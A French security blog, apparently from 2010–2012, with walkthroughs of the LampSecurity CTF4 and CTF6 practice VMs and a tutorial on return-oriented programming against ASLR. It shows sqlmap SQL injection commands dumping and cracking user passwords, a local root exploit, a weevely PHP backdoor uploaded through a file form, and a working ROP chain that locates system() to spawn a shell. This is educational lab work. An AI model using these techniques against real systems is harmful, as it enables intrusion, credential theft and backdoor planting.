mercredi 28 mars 2012

LampSec CTF4, encore plus vite!

Comme je m'étais bien amusé hier j'ai décidé de recommencer aujourd'hui, voici la VM:

http://mirror.transact.net.au/pub/sourceforge/l/project/la/lampsecurity/CaptureTheFlag/ctf4/LAMPSecCTF.zip

Et un peu de son:



Pas très original, on tombe cette fois encore sur une injection SQL du type:



http://192.168.1.74/index.html?page=blog&title=Blog&id=-1 BLABLABL


Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /var/www/html/pages/blog.php on line 20



Même méthode que précédemment:



$ ./sqlmap.py --url "http://192.168.1.74/index.html?page=blog&title=Blog&id=1" --dbs

available databases [6]:
[*] calendar
[*] ehks
[*] information_schema
[*] mysql
[*] roundcubemail
[*] test

$ ./sqlmap.py --url "http://192.168.1.74/index.html?page=blog&title=Blog&id=1" -D ehks -T user --dump

Database: ehks
[3 tables]
+---------+
| blog |
| comment |
| user |
+---------+

$ ./sqlmap.py --url "http://192.168.1.74/index.html?page=blog&title=Blog&id=1" -D ehks -T user --dump

Database: ehks
Table: user
+---------+-----------+---------------------------------------------------+
| user_id | user_name | user_pass |
+---------+-----------+---------------------------------------------------+
| 5 | sorzek | 64d1f88b9b276aece4b0edcc25b7a434 (pacman) |
| 2 | achen | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| 3 | pmoore | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) |
| 6 | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1) |
| 1 | dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) |
| 4 | jdurbin | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) |
+---------+-----------+---------------------------------------------------+



Et la, avec une lueur d'espoir dans les yeux, je tente la connexion SSH avec le premier utilisateur... Et ça passe :/


[sorzek@ctf4 ~]$ id
uid=504(sorzek) gid=504(sorzek) groups=100(users),504(sorzek) context=user_u:system_r:unconfined_t

[sorzek@ctf4 ~]$ uname -a
Linux ctf4.sas.upenn.edu 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux



On file direct chercher l'exploit qui va bien : http://www.exploit-db.com/exploits/9479/



[sorzek@ctf4 ~]$ ./pwn
sh-3.1# id
uid=0(root) gid=0(root) groups=100(users),504(sorzek) context=user_u:system_r:unconfined_t



Si vous connaissez des wargames un peu plus difficiles je suis preneur :) !

LampSec CTF6 sur "avance rapide"

Je m'ennuyais ferme aujourd'hui, j'ai donc décidé d'essayer l'une des machine virtuelles proposée par LampSecurity.

L'image de la machine virtuelle est disponible ici:

http://mirror.transact.net.au/pub/sourceforge/l/project/la/lampsecurity/CaptureTheFlag/ctf6/lampsecurity.org.ctf6.tar.gz

Une fois démarrée sous VMware, la machine publie un site web de gestion de news. On repère rapidement une injection SQL dans le module d'affichage des news:


http://192.168.1.98/index.php?id=-1 UNION SELECT 1,2,3,4,5,6,7 #



On va utiliser l'outil sqlmap pour piller la DB du site sans se fouler la cheville:

Récupération des noms des bases existantes:


$ ./sqlmap.py --url http://192.168.1.98/index.php?id=1 --dbs

[14:48:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: PHP 5.2.6, Apache 2.2.3
back-end DBMS: MySQL 5.0.11
[14:48:38] [INFO] fetching database names
available databases [5]:
[*] cms
[*] information_schema
[*] mysql
[*] roundcube
[*] test



Les noms des tables de la base "cms" :


$ ./sqlmap.py --url http://192.168.1.98/index.php?id=1 -D cms --tables

[14:50:13] [INFO] fetching tables for database 'cms'
Database: cms
[3 tables]
+-------+
| event |
| log |
| user |
+-------+



Le contenu de la table "user" (On répondra "yes" lorsque sqlmap nous proposera de tenter un bruteforce des hash détectés) :


./sqlmap.py --url http://192.168.1.98/index.php?id=1 -D cms -T user --dump

Database: cms
Table: user
[1 entry]
+---------+----------------------------------------------+---------------+
| user_id | user_password | user_username |
+---------+----------------------------------------------+---------------+
| 1 | 25e4ee4e9229397b6b17776bfceaf8e7 (adminpass) | admin |
+---------+----------------------------------------------+---------------+



On peut maintenant se connecter en tant qu'administrateur du CMS.

En observant le module de création d’événement, on repère rapidement qu'il est possible d'uploader n'importe quel type de fichier via le champs image du formulaire...

On va utiliser weevely , un shell php plutôt sympa:

On va tout d'abord générer notre backdoor:


$ ./weevely.py generate p4ssw0rd evil.php

Weevely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

+ Backdoor file 'evil.php' created with password 'p4ssw0rd'.



On la dépose ensuite sur le site cible par le formulaire de création d’événement, puis, on tente de s'y connecter:


$ ./weevely.py http://192.168.1.98/files/evil.php p4ssw0rd
Weevely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

[+] Starting terminal. Shell probe may take a while...

[+] List modules with and show help with :show [module name]

apache@localhost.localdomain:/var/www/html/files$ id
uid=48(apache) gid=48(apache) groups=48(apache)
apache@localhost.localdomain:/var/www/html/files$



Bingo, parti de la il faudrait continuer en utilisant l'exploit udev local root dispo ici : http://www.exploit-db.com/exploits/8572/ ou ici http://www.exploit-db.com/exploits/8478/

J'ai eu d'une part la flemme d'aller plus loin, et d'autre part l'exploit nécessite certains paramètres un peu aléatoires que je n'ai pas le courage de chercher...

lundi 20 février 2012

Vanilla Dome se déplace

Hello,

Depuis quelques temps, c'est le challenge "RootMe" qui héberge mon wargame Vanilla Dome, sous le nom "HBinary", pour Hardened Binary.

Je vous recommande d'aller faire un tour sur leur plateforme, dédiée a l'apprentissage du hacking, qui est bourrée de challenges et de personnes sympas.

C'est par ici : http://www.root-me.org

On se retrouvera peut-être la bas ! :)

mardi 23 août 2011

Vanilla Dome Wargame

Hello, Pour ceux qui n'utilisent pas Twitter, j'ai travaillé ces derniers temps sur un petit Wargame, disponible ici:


J'espère qu'il vous plaira!

lundi 17 janvier 2011

Follow me

Suivez moi, et surtout, n'haïssez pas:

http://twitter.com/sm0k_

lundi 27 décembre 2010

ReChangement de bannière

Nouvelle bannière par Spl3en!

Merci à lui

mardi 9 novembre 2010

ROPoc Part 2

NB: Ce billet est la suite de mon précédent billet "ROPoc" ; donc, le lire sans avoir lu l'introduction au préalable risque d'être un poil compliqué!

Après avoir lu et étudié l'article que m'a soufflé Mysterie en réponse a mon précédent billet, j'ai décidé d'en reprendre l'exploitation afin d'illustrer un peu mieux la technique présentée.

Je re-cite l'article original : http://divine-protection.com/tc/34 .

Un peu de musique au cas ou et parce que je suis fan :



Principe

  • On désire retrouver l'adresse de system(), et ce dynamiquement.
  • On dispose d'une section non randomizée (.got) qui contient les adresses des fonctions utilisées par notre programme.
  • On sait que même si la libc est chargée aléatoirement en mémoire, elle est toujours chargée d'un bloc.

Donc on peut utiliser une entrée de la GOT pour déterminer précisément l'adresse effective de n'importe quelle fonction de la libc a partir d'offsets préalablement calculés.

Illustrons un peu ca:

sm0k@wiid ~ $ objdump -x poc | grep got
20 .got 00000004 08049ff0 08049ff0 00000ff0 2**2
21 .got.plt 00000028 08049ff4 08049ff4 00000ff4 2**2
08049ff0 l d .got 00000000 .got
08049ff4 l d .got.plt 00000000 .got.plt
08049ff4 l O .got.plt 00000000 .hidden _GLOBAL_OFFSET_TABLE_

On repère où démarre la section .got : 08049ff0

Regardons maintenant ce qu'elle contient pendant l'exécution de notre programme.

On pose pour cela un point d'arrêt sur le 'ret' de main, puis on lance le programme et on observe la GOT:

(gdb) b *main+361
Breakpoint 1 at 0x8048683
(gdb) r s
Starting program: /home/sm0k/poc s
[...]
Breakpoint 1, 0x08048683 in main ()
(gdb) x/20x 0x08049ff0
0x8049ff0: 0x00000000 0x08049f20 0xb7fff8e0 0xb7ff5e50
0x804a000 <_global_offset_table_+12> : 0x08048392 0xb7ef1fa0 0xb7f0b580 0xb7eacad0
0x804a010 <_global_offset_table_+28>: 0xb7ec19e0 0xb7ef2260 0xb7edcff0 0x00000000

(gdb) x/i 0xb7ef1fa0
0xb7ef1fa0 <fgets>: push %ebp
(gdb) x/i 0xb7ec19e0
0xb7ec19e0 <atoll>: push %ebp
[...]

On voit donc que les adresses des fonctions utilisées par notre programme sont chargées dans la GOT à l'exécution....

Regardons maintenant où est chargé system() :

(gdb) x/i system
0xb7ecd520 <system>: sub $0xc,%esp

System() commence donc à l'adresse 0xb7ecd520. Et à 0xb7ec19e0 nous avons atoll(), son adresse est stockée à l'adresse 0x804a010, de la GOT.

Pour les habitués du C, nous pouvons considérer que 0x804a010 contient un pointeur vers la fonction atoll().

Nous pouvons donc en déduire que system() se situe à (0xb7ecd520 - 0xb7ec19e0)=0xbb40 (47 936 b10) bits de atoll().

Comme nous connaissons le pointeur où est stockée l'adresse de atoll(), à savoir 0x804a010, nous pouvons dire que:

adresse de system() = (Valeur contenue à l'adresse 0x804a010) + 47 936

Nous pouvons donc dynamiquement localiser system() !

Mise en pratique

C'est bien beau tout ça mais comment peut on s'en servir?

C'est là que l'article proposé par Mysterie m'a bien aidé!

L'instruction du type add registre1 [registre2-valeur] nous sauve la vie, mais regardons le shellcode qu'on va utiliser en détail afin de comprendre pourquoi:

(Je tiens à préciser que les gadgets utilisés ici ne sont peut être pas visibles dans la sortie générée par ROPEME dans mon précédent article. Ceux ci sont toujours générés par le même script mais avec une longueur maximale de 6 instructions par gadgets.)

0x8048446L: pop eax | pop ebx | leave ||
47936
328114200
; pop eax | pop ebx: On récupère eax puis ebx sur la pile
; 47936: Valeur que prendra eax (à savoir l'offset qu'on
vient de calculer)

; 328114200: Valeur que prendra ebx
; et la vous devez vous dire "Waw ca sort d'ou ca?"
; Cette valeur résulte en fait du calcul suivant :
; ( 0x804A010 + 0xb8a0008 )=
328114200.
; 0x804A010 étant notre pointeur sur atoll() dans la got
; et 0xb8a0008 la valeur ajoutée au pointeur ebx dans
; l'instruction qui va suivre:


0x804871eL: add eax [ebx-0xb8a0008] | add esp 0x4
| pop ebx | pop ebp ||
; La premiere instruction ajoute à eax la valeur pointée par
; ebx+0xb8a0008 DONC comme eax =0xbb40 (47936 b10)
; et que [ebx-0xb8a0008]= 0x804A010 ALORS
; eax = [0x804A010] +
0xbb40 = 0xb7ecd520 = @system() :)
; NB: les crochets représentent la notion de pointeur en
; assembleur

0x80484cfL: call eax | leave ||
0x8048174
; On saute sur eax, et donc system()
; 0x8048174: Adresse de la chaine "GNU"


Notre "exploit" final :

134513734
1035
47936
1036
328114200
1037
134514462
1067
134513871
1071
134513012
1072


Afin de le tester, créons tout d'abord notre wrapper:

sm0k@wiid ~ $ echo -e "echo \"ROP rules\!\"\n/bin/sh" > GNU && chmod +x GNU && export PATH=/home/sm0k:$PATH


Et grand moment, testons cette nouvelle version de notre exploit :

sm0k@wiid ~ $ ./poc s

Will Write 134513734(8048446) at Offset 1035
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e1c

Will Write 47936(bb40) at Offset 1036
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e20

Will Write 328114200(138ea018) at Offset 1037
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e24

Will Write 134514462(804871e) at Offset 1067
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e9c

Will Write 134513871(80484cf) at Offset 1071
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6eac

Will Write 134513012(8048174) at Offset 1072
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6eb0
ROP rules\!
sh-4.1$


L'exploit fonctionne à tous les coups!